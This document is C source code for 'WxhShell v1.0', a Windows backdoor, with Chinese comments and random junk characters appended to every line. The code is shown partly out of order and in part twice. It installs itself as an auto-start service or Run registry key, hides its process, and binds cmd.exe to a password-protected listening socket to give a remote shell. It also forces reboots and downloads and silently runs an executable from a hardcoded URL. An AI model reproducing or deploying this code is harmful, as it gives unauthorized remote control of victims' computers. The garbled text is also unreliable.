    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _9=cxwi<w  
    if(Boot(SHUTDOWN)) Ag{)?5/d_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0XC3O 8q  
    else { ,1t|QvO  
    closesocket(wsh); 2/F8kVx{  
    ExitThread(0);  '"hSX=  
    } 6xr%xk2E  
    break; 9[ &q C  
    } 6\UIp#X  
  // 获取shell t8lGC R  
  case 's': { Q 4L7{^[X  
    CmdShell(wsh); "fN 6_*  
    closesocket(wsh); oBnes*  
    ExitThread(0); 1=X1<@*  
    break; qx0F*EH|  
  } A[F@rUZp  
  // 退出 0a!|*Z  
  case 'x': { }t|i1{%_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BNO+-ob-  
    CloseIt(wsh); X-CoC   
    break; X_3hh}=  
    } oZL# *Z(h  
  // 离开 "ChJR[4@  
  case 'q': { lQRtsmZ0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6@:<62!;  
    closesocket(wsh); D)[(  
    WSACleanup(); pOB<Bx5t  
    exit(1); K|D1  
    break; ^@Qc!(P  
        } XQOM6$~,  
  } }:s.m8LC5n  
  } Xe\v6gbD  
#Hl?R5  
  // 提示信息 <|E*aR|M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VTX6_&Hc1g  
} bq8h?Q  
  } QM~~b=P,\  
ssH[\i  
  return; JPZH%#E(  
} # x X  
@'Pay)P  
// shell模块句柄 `0+-:sXZ6  
int CmdShell(SOCKET sock) )g^O'e=m  
{ wq8&2(|Fc  
STARTUPINFO si; h >Z`&  
ZeroMemory(&si,sizeof(si)); _0ZBG(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (7$BF~s:,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9@nd>B  
PROCESS_INFORMATION ProcessInfo; *vqUOh  
char cmdline[]="cmd"; l?xd3Z@7[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bq-}BN?pz  
  return 0; vr6YE;Rs  
} /z}b1m+  
@ W,<8  
// 自身启动模式 `Hu2a]e9  
int StartFromService(void) :/"5x  
{ iMV=R2t 2  
typedef struct ZC^NhgX  
{ PH^Gjm  
  DWORD ExitStatus; (bB"6 #TI  
  DWORD PebBaseAddress; e)XnS'  
  DWORD AffinityMask; iG=Di)O  
  DWORD BasePriority; }{&;\^i  
  ULONG UniqueProcessId; CHCT e  
  ULONG InheritedFromUniqueProcessId; Q/h-Kh mz  
}   PROCESS_BASIC_INFORMATION; +A$>F@u  
*q[;-E(fZ#  
PROCNTQSIP NtQueryInformationProcess; eq<!  
j0{Qy;wP )  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >V\^oh)t]t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |GP&!]  
cT;Zz5  
  HANDLE             hProcess; *|@386\  
  PROCESS_BASIC_INFORMATION pbi; $e  uI  
T_9o0Qk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m GJRCK_  
  if(NULL == hInst ) return 0; "];@N!dA  
z'"Y+EWN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1FT3d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pl2eDv-y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bg)}-]u]  
*!dA/sid  
  if (!NtQueryInformationProcess) return 0; zXbA$c  
Tv 5J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *=T(ncR['  
  if(!hProcess) return 0; NnU`u.$D  
vWa\8yf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |goK@ <  
% w  
  CloseHandle(hProcess); /fAAQ7  
K(WKx7Kky^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vF[ 4kDHk  
if(hProcess==NULL) return 0; 8f65;lyN  
h b8L[ 4  
HMODULE hMod; y3PrLBTz  
char procName[255]; {9^p3Q+:P  
unsigned long cbNeeded; ,^DP  
B^d di  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A<(DYd1H  
Ea-U+7JC  
  CloseHandle(hProcess); Qam48XZ >  
_8\B~;0  
if(strstr(procName,"services")) return 1; // 以服务启动 +!$`0v   
}WBHuVcZG  
  return 0; // 注册表启动 q1ZZ T"'  
} @S>;t)\J  
Ap4.c8f?Q-  
// 主模块 $~%h4  
int StartWxhshell(LPSTR lpCmdLine) )%lPKp4]  
{ {2i8]Sp1d/  
  SOCKET wsl; 33&\E- Q>  
BOOL val=TRUE; V\l@_%D[(v  
  int port=0; `82Dm!V  
  struct sockaddr_in door;  Wu8^Z Z{  
<z>oY2%  
  if(wscfg.ws_autoins) Install(); $q .}eb0  
QBN\wL8g  
port=atoi(lpCmdLine); v53|)]V  
p  UW7p  
if(port<=0) port=wscfg.ws_port; RAuVRm=E  
(Q8r2*L  
  WSADATA data; #l3)3k* ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tf? `_jL  
.*.eY?,V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sH > zsc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rUAt`ykTmN  
  door.sin_family = AF_INET;  _-9cGm v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8%xBSob{j  
  door.sin_port = htons(port); 4%I[.dBnM  
XP?)x Dr8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #VVfHCy  
closesocket(wsl); \<G"9w  
return 1; |{_>H '  
} $J&c1  
hhFO,  
  if(listen(wsl,2) == INVALID_SOCKET) { >7S@3,C3ke  
closesocket(wsl); ]0j_yX  
return 1; !]RSG^%s{  
} ~P;A 9A(k  
  Wxhshell(wsl); xtLP 4VL  
  WSACleanup(); x;Slv(|M  
<^_crJONom  
return 0; 0r8Wv,7Bo  
@2 *Q*  
} Chx+p&!  
;oDr8a<A  
// 以NT服务方式启动 %qTIT?6'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6<R[hIWpZ}  
{ 5NH4C  
DWORD   status = 0; nj0]c`6rN@  
  DWORD   specificError = 0xfffffff; siT`O z|,  
G#^0Bh&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kRBO]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3wcF R0f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xgpf2y!{  
  serviceStatus.dwWin32ExitCode     = 0; 3JkdPh  
  serviceStatus.dwServiceSpecificExitCode = 0; a/1;|1a.  
  serviceStatus.dwCheckPoint       = 0; ;[(d=6{hc]  
  serviceStatus.dwWaitHint       = 0; s f->8  
Bx#=$ka  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _{gqi$Mi  
  if (hServiceStatusHandle==0) return; 2gMG7%d  
GNq f  
status = GetLastError(); bovAFdHW  
  if (status!=NO_ERROR) M}f(-,9  
{ CjP<'0gT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r@bh,U$  
    serviceStatus.dwCheckPoint       = 0; T#*H  
    serviceStatus.dwWaitHint       = 0; zNdkwj p+  
    serviceStatus.dwWin32ExitCode     = status; AS re@pW  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5,g +OY=\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s(J>yd=  
    return; FF! PmfF'  
  } ela^L_NhF  
<c:H u{D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; evYn}  
  serviceStatus.dwCheckPoint       = 0; J%M [8  
  serviceStatus.dwWaitHint       = 0; 6)P.wW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C H 29kQ  
} NY.* S6  
rjO{B`sV*  
// 处理NT服务事件,比如:启动、停止  0yq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) js@L%1r#L  
{ 6Io}3}3  
switch(fdwControl) x&0kIF'lq  
{ f.+1Ubq!5  
case SERVICE_CONTROL_STOP: WvSm!W  
  serviceStatus.dwWin32ExitCode = 0; V[KN,o{6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pt,L  
  serviceStatus.dwCheckPoint   = 0; a !%,2|U  
  serviceStatus.dwWaitHint     = 0; ;l ZKgi8`  
  { Fb =uN   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N&?V=X  
  } 1gbFl/i6T  
  return; &b}g.)RI  
case SERVICE_CONTROL_PAUSE: %A=/(%T>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6=;(~k&x9:  
  break; $sE=[j'v  
case SERVICE_CONTROL_CONTINUE: H"6x/&s.=k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]a4+]vLK  
  break; =DD KGy.g  
case SERVICE_CONTROL_INTERROGATE: nReld :#T  
  break; vZ"gCf3#?3  
}; m m`#v g,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dIlpo0; F  
} | |awNSt  
bvB', yBZ  
// 标准应用程序主函数 =\5WYC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G[yzi  
{ hr6j+p:  
}&e HU  
// 获取操作系统版本 k:R\;l5  
OsIsNt=GetOsVer(); ]\ _tO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3Z=yCec]  
;p`to"6IFD  
  // 从命令行安装 ~uty<fP  
  if(strpbrk(lpCmdLine,"iI")) Install(); /pPH D]  
P=jsOuW  
  // 下载执行文件 )&d=2M;3  
if(wscfg.ws_downexe) { H>%AK''  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $["HC-n?.k  
  WinExec(wscfg.ws_filenam,SW_HIDE); j2UQQFh  
} e&d$kUJrq  
\GxqE8  
if(!OsIsNt) { #]tDxZ] 6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hy&Z0W'l  
HideProc(); @:GqOTN  
StartWxhshell(lpCmdLine); x]x3iFD  
} L'? aoRj  
else M-Efe_VRQc  
  if(StartFromService()) L%is"NZh  
  // 以服务方式启动 d$3md<lIB  
  StartServiceCtrlDispatcher(DispatchTable); >{tn2Fkg>  
else Zja3HGL  
  // 普通方式启动 AG=PbY9  
  StartWxhshell(lpCmdLine); 0P9\;!Y  
o&Xp%}TI  
return 0; =-fM2oiI:  
} w.(WG+  
phjM(lmCo  
SYA~I-OYc  
?4/pE@RIy  
=========================================== J'X}6Q  
4J_HcatOB  
`y.4FA4"8  
*u"%hXR  
8:V,>PH  
_uMG?Sbx  
" N'WTIM3W  
vHcl7=)Q  
#include <stdio.h> 6dr 'nP  
#include <string.h> KYm8|]'g  
#include <windows.h> s0f+AS|}  
#include <winsock2.h> )__sw  
#include <winsvc.h> l! 88|~  
#include <urlmon.h> u0&R*YV  
9d#?,:JG  
#pragma comment (lib, "Ws2_32.lib") >*ls} q^  
#pragma comment (lib, "urlmon.lib") w+ !c9  
1Ys=KA-!_x  
#define MAX_USER   100 // 最大客户端连接数 yV:8>9wE8  
#define BUF_SOCK   200 // sock buffer (l{8Ix s  
#define KEY_BUFF   255 // 输入 buffer ;P)oKx  
JP<j4/  
#define REBOOT     0   // 重启 18rV Acj  
#define SHUTDOWN   1   // 关机 DPxx9lN_rx  
;7:} iKU  
#define DEF_PORT   5000 // 监听端口 ~ O#\$u  
SQ4^sk_!  
#define REG_LEN     16   // 注册表键长度 [#uhMn^  
#define SVC_LEN     80   // NT服务名长度 p;}`PW  
8fP2qj0  
// 从dll定义API ^7aqe*|vm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *P=3Pl?j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n!/0yR2S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ba m.B6-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pJ/]\>#5  
qr%N /7  
// wxhshell配置信息 {L7Pha  
struct WSCFG { > UZ-['H  
  int ws_port;         // 监听端口 k}fC58q  
  char ws_passstr[REG_LEN]; // 口令 Tty'ysH  
  int ws_autoins;       // 安装标记, 1=yes 0=no g:Qq%'  
  char ws_regname[REG_LEN]; // 注册表键名 ) ~=pt&+  
  char ws_svcname[REG_LEN]; // 服务名 B1 }-   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \{ EVRRXn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gPk,nB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :k1?I'q%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -#f.}H'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TF :'6#p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hb3:,c(  
g@>llve{  
}; '=E;^'Rl  
u.X]K:Yow  
// default Wxhshell configuration [E a{);  
struct WSCFG wscfg={DEF_PORT, V0,JTWc  
    "xuhuanlingzhe", TS6xF?  
    1, .4%z$(+6  
    "Wxhshell", 3(V0,L'1  
    "Wxhshell", qo3+=*"V  
            "WxhShell Service", -fA=&$V  
    "Wrsky Windows CmdShell Service", >B0AJW/u  
    "Please Input Your Password: ", P".}Y[GD  
  1, vK)'3%  
  "http://www.wrsky.com/wxhshell.exe", Zo&i0%S\E  
  "Wxhshell.exe" yk?bz  
    }; R %RbC!P  
>JE+j=  
// 消息定义模块 C;m"W5+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N E9,kWI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qK.(w Fx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 68u?}8}  
char *msg_ws_ext="\n\rExit."; A|f6H6UUx  
char *msg_ws_end="\n\rQuit."; i0{\c}r:4b  
char *msg_ws_boot="\n\rReboot..."; 2(DhKHrF  
char *msg_ws_poff="\n\rShutdown..."; B N79\rt  
char *msg_ws_down="\n\rSave to "; )^o.H~Pv  
?m*e$!M0  
char *msg_ws_err="\n\rErr!"; &B(z**+9  
char *msg_ws_ok="\n\rOK!"; " 7^nRJy  
p\ =T#lb  
char ExeFile[MAX_PATH]; uG7]s]Wdz;  
int nUser = 0; $f3IO#N  
HANDLE handles[MAX_USER]; <)T| HKx  
int OsIsNt; ?3BcjD0  
o @L0ET  
SERVICE_STATUS       serviceStatus; ; H ;h[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f9u=h}  
*zPqXtw!j  
// 函数声明 $}W T"K  
int Install(void); T)I)r239h  
int Uninstall(void); gf8o~vKX$G  
int DownloadFile(char *sURL, SOCKET wsh); %evb.h)  
int Boot(int flag); $XQgat@&]  
void HideProc(void); \09A"fs{  
int GetOsVer(void); fVn4=d6X  
int Wxhshell(SOCKET wsl); 06Wqfzceb  
void TalkWithClient(void *cs); 7e+C5W*9b  
int CmdShell(SOCKET sock); 0}<blU  
int StartFromService(void); Yt#; +*d5  
int StartWxhshell(LPSTR lpCmdLine); F0_w9"3E~  
x[{\Aw>$.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V_~lME  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jd7chIK  
M99ku'  
// 数据结构和表定义 ]6Iu\,#J  
SERVICE_TABLE_ENTRY DispatchTable[] = ,VVA^'+  
{ hb; CpA  
{wscfg.ws_svcname, NTServiceMain}, myfTz tJ  
{NULL, NULL} "G@K(bnHn  
}; eB#I-eD  
qg#YQ'vWte  
// 自我安装 U_IGL  
int Install(void) a 4ViVy  
{ ;iiCay37F  
  char svExeFile[MAX_PATH]; h_4*?w  
  HKEY key;  _ VuWo  
  strcpy(svExeFile,ExeFile); ;B 8Q,.t>x  
f9K7^qwkiz  
// 如果是win9x系统,修改注册表设为自启动 tNFw1&  
if(!OsIsNt) { 8B*(P>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _$AM=?P &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q{&c?l*2  
  RegCloseKey(key); oH=?1~ e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , ]1f)>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .*` ^dt  
  RegCloseKey(key); zk{d*gN  
  return 0; "e"#k}z9  
    } EF<TU.)Zf  
  } fr(Ja;  
} X?t;uZI^  
else { $(D>v!dp  
5.VPK 338A  
// 如果是NT以上系统,安装为系统服务 eaf-_#qb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]#G s6CsT|  
if (schSCManager!=0) eAW)|=2  
{ oVK:A;3T|  
  SC_HANDLE schService = CreateService a,oTU\m C  
  ( PoaCnoNS  
  schSCManager, vU%K%-yXG7  
  wscfg.ws_svcname, ;w. la  
  wscfg.ws_svcdisp, D@&xj_#\}  
  SERVICE_ALL_ACCESS, TQck$&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !nl-}P,  
  SERVICE_AUTO_START, %@C8EFl%3  
  SERVICE_ERROR_NORMAL, @LOfqQ$FE  
  svExeFile, /lECgu*#69  
  NULL, K[iAN;QCe%  
  NULL, ]|!|3lQ  
  NULL, } iKjef#J  
  NULL, mBwz.KEm<  
  NULL 8D)1ZUx7`  
  ); 2J t{oh|  
  if (schService!=0) ;l!<A  
  { 3H!]X M  
  CloseServiceHandle(schService); V$hL\`e  
  CloseServiceHandle(schSCManager); CsZm8oL$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mbxl{M >  
  strcat(svExeFile,wscfg.ws_svcname); d;dT4vx$[M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 15jQ87)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S'HA]  
  RegCloseKey(key); 4k^P1  
  return 0; [w<_Wj  
    } 0qNk.1pv  
  } M#4;y,n<k  
  CloseServiceHandle(schSCManager); w? _8OJ  
} w =F9>  
} o;6~pw%  
_0$>LWO~  
return 1; GY?u+|Q  
} Brxnl,%\  
5!A:xV]6]  
// 自我卸载 k9*UBx  
int Uninstall(void) Fb1<Ic#  
{ VX&g[5zr  
  HKEY key; >g !Z|ju  
b/[X8w'VP  
if(!OsIsNt) { ?S& yF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z&H.fsL  
  RegDeleteValue(key,wscfg.ws_regname); By6O@ .\V  
  RegCloseKey(key); 1P"7.{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W)ug %@)  
  RegDeleteValue(key,wscfg.ws_regname); 2 )o2d^^  
  RegCloseKey(key); Ut2T:%m{  
  return 0; qZ!kVrmg&  
  } @>(JC]HtR  
} kAp#6->(q  
} Y}BP ]#1  
else { xKE=$SV(  
!B Pm{_C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :2xGfy??  
if (schSCManager!=0) O$,  
{ X[h{g`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); })] iN "  
  if (schService!=0) g5+m]3#t  
  { g8E5"jpXx3  
  if(DeleteService(schService)!=0) { a^LckHPI>  
  CloseServiceHandle(schService); ZB1%Kn#zo4  
  CloseServiceHandle(schSCManager); (5] [L<L  
  return 0; IN3-ZNx  
  } }^$#vJ(a7K  
  CloseServiceHandle(schService); pmBN?<  
  } w!<e#Z]3b  
  CloseServiceHandle(schSCManager); !x-__[#  
} 3M?O(oO  
} OP+*%$wR  
u\ 7Y_`8  
return 1; yHE\Q  
} j xI;clr  
8 !:2:  
// 从指定url下载文件 &i3SB[|  
int DownloadFile(char *sURL, SOCKET wsh) sHPAr}14  
{ QaLaw-lx  
  HRESULT hr; >x%HqP#_V  
char seps[]= "/"; (7<G1$:z=  
char *token; b0'}BMJ  
char *file; \y271}'  
char myURL[MAX_PATH]; Jq)k5X>&Sj  
char myFILE[MAX_PATH]; *J^FV^E``  
#xx.yn(7  
strcpy(myURL,sURL); T\.~!Q  
  token=strtok(myURL,seps); +fY@q ,`  
  while(token!=NULL) Kh4rl)L*+%  
  { *PlKl_nP6  
    file=token; :j~4mb?$  
  token=strtok(NULL,seps); ;g8v7>p  
  } :4[>]&:u3  
KW'nW  
GetCurrentDirectory(MAX_PATH,myFILE); >!Y#2]@}o  
strcat(myFILE, "\\"); ^7>~y(  
strcat(myFILE, file); 5q@s6_"{  
  send(wsh,myFILE,strlen(myFILE),0); eb}XooX  
send(wsh,"...",3,0); PdVY tK%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f%n ;Z}=  
  if(hr==S_OK) Q1*_l  
return 0; .s"Og;g  
else v$@1q9 5J  
return 1; H ABUf^~-  
LsI@_,XW<  
} + R6X  
c/.s`hz  
// 系统电源模块 =#4>c8MM  
int Boot(int flag) %x,HQNRDU  
{ /Bgqf,N |  
  HANDLE hToken; ?IQDk|<%  
  TOKEN_PRIVILEGES tkp; v B~VJKD  
!oi {8X@  
  if(OsIsNt) { 0?t;3 z$n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ye(av&Hn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %VB4/~ "  
    tkp.PrivilegeCount = 1; Ys_L GfK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;~r-P$kCY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4sSw7`  
if(flag==REBOOT) { _l] 0V g`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D]fgBW-  
  return 0; a{e 2*V  
} fz VN;h  
else { Muq~p~m}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WU=EJY}#n  
  return 0; 2A|mXWG}~  
} :''Swi<H  
  } Pbbi*&i  
  else { 78:x{1nUM[  
if(flag==REBOOT) { cV1E<CM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A`~?2LH,~F  
  return 0; Tt{X(I} J  
} 7g Ou|t  
else { ^-Arfm%dn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,>qtnwvlHP  
  return 0; Y5ei:r|^  
} @N[<<k7g  
} 4W2.K0Ca  
9MJ:]F5+  
return 1; ^^ SMr l  
} 1NZpd'$c  
h5@7@w%  
// win9x进程隐藏模块 0n4(Rj|}2  
void HideProc(void) !s$1C=z5u  
{ ^vVAuO  
rFt +Y})  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %*<Wf4P"  
  if ( hKernel != NULL ) [V8^}s}tF  
  { '-~J.8-</  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nk%$;Si  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xh<{lZ)KJ  
    FreeLibrary(hKernel); Fsq)co  
  } ~ [/jk !G  
=],c$)  
return; ]fh(b)8_,  
} GU1cMe  
+7lr#AvU/  
// 获取操作系统版本 Q;y4yJ$wI  
int GetOsVer(void) E.N>,N  
{ vKPLh   
  OSVERSIONINFO winfo; `B8`<3k/(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9T$%^H9  
  GetVersionEx(&winfo); e{4e<hd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q9p7{^m&E  
  return 1; ;*nzb!u\\  
  else 1S+T:n  
  return 0; ;sUvY*Bcm  
} zcOm"-E-  
p}I\H ^"8+  
// 客户端句柄模块 *GhV1# <  
int Wxhshell(SOCKET wsl) Mw+ l>92  
{ r-WX("Vvh  
  SOCKET wsh; $%&OaAg  
  struct sockaddr_in client;  N`X|z  
  DWORD myID; Y)(w&E>1  
.DnG}884  
  while(nUser<MAX_USER) ]<%NX $9\  
{ (<H@W/0$  
  int nSize=sizeof(client); XMI5j7C L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M0vX9;J  
  if(wsh==INVALID_SOCKET) return 1; _\@zq*E  
/UR;,ts  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *[jq&  
if(handles[nUser]==0) S;#7B?j  
  closesocket(wsh); DV({! [EP  
else _x$Eq: i  
  nUser++; QR-pji y  
  } v$;URF%^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AEFd,;GF  
c&<Ei1  
  return 0; Gp?pSI,b.t  
} YiL^KK  
gHXvmR"  
// 关闭 socket ycIcM~<4  
void CloseIt(SOCKET wsh) z -]ND  
{ JnQ@uZb`  
closesocket(wsh); nI73E  
nUser--; ^H&`e"|R9  
ExitThread(0); VGCd)&s  
} BoARM{m  
F,mStw:  
// 客户端请求句柄 ET*:iioP  
void TalkWithClient(void *cs) lEQj62zIQ  
{ "-IF_Hid  
elD|b=(-  
  SOCKET wsh=(SOCKET)cs; GbkDs-  
  char pwd[SVC_LEN]; fCO<-L9k$  
  char cmd[KEY_BUFF]; (II#9 n)  
char chr[1]; egWfKL&iy  
int i,j; Efpj u(   
02:`Joy2D  
  while (nUser < MAX_USER) { 4 4WyfpTJ*  
?jbx7')  
if(wscfg.ws_passstr) { }1a(*s,s-^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ['6Sq@c)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NUuIhB+  
  //ZeroMemory(pwd,KEY_BUFF); T#H-GOY:  
      i=0; 3"Kap/[h  
  while(i<SVC_LEN) { &< FKcrZ,  
R_:lp\S&  
  // 设置超时 +}mj;3i  
  fd_set FdRead; (K ]wk9a  
  struct timeval TimeOut; ,a0RI<D  
  FD_ZERO(&FdRead); k$Ug;`v#  
  FD_SET(wsh,&FdRead); lm{4x~y$h  
  TimeOut.tv_sec=8; q03nu3uDI  
  TimeOut.tv_usec=0; @c>MROlrlF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .\ vrBf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =""5 c  
je>mAQKi\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G}]'}FUp  
  pwd=chr[0]; QZL,zI]LL  
  if(chr[0]==0xd || chr[0]==0xa) { j0=H6Y  
  pwd=0; 9`&sZ|"3  
  break; }n,LvA@[0  
  } 1 :{+{Yl7  
  i++; ZlQ&m  
    } + =U9<8  
,o3`O|PiK  
  // 如果是非法用户,关闭 socket x_(K%0+Ca  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k~QmDq  
} A' n7u'6=  
[_C([o'\KY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ub wmn!~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4~d:@Gmk&  
`0u)/s$  
while(1) { D~2n8h"2ye  
g6][N{xW0  
  ZeroMemory(cmd,KEY_BUFF); S} &1_I  
BG1hk!  
      // 自动支持客户端 telnet标准   MTbCL53!-  
  j=0; y8v0>V0)  
  while(j<KEY_BUFF) { a\p`J9Z@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h6 :|RGF  
  cmd[j]=chr[0]; BGstf4v>A<  
  if(chr[0]==0xa || chr[0]==0xd) { /1+jQS  
  cmd[j]=0; X9&>.?r  
  break; k/Q8:qA  
  } 1_@vxi~aW_  
  j++; lvR>%I0`*  
    } z gxMDLH  
MiMDEe%f%  
  // 下载文件 9SU/ 86|N  
  if(strstr(cmd,"http://")) { >5t]Zlb`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pT:6A[&  
  if(DownloadFile(cmd,wsh)) _akpW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9ky?A,  
  else PoRP]Q*n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HeHo?<>|d  
